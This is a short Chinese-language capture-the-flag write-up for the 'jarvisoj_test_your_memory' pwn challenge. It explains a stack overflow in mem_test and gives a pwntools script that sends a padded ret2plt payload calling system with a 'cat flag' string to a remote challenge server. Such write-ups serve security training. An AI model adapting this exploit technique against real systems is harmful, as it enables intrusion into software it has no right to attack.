jarvisoj_test_your_memory
查看保护
这个程序的功能没什么用,就是rand数,然后匹配,正确没什么用,错误也没什么用。进mem_test看一下
会给你一个提示,跟进再跟进即可看到cat flag这个rodata。但是这个函数里面有一个溢出,那就用这个溢出ret2plt
有system_plt。跟着32位调用放一下payload即可get_flag。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29106)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
system_addr = 0x80485BD
system_plt = elf.plt['system']
flag = 0x080487E0
p1 = b'a' * (0x13 + 4) + p32(system_plt) + p32(system_plt) + p32(flag)
r.sendline(p1)
r.interactive()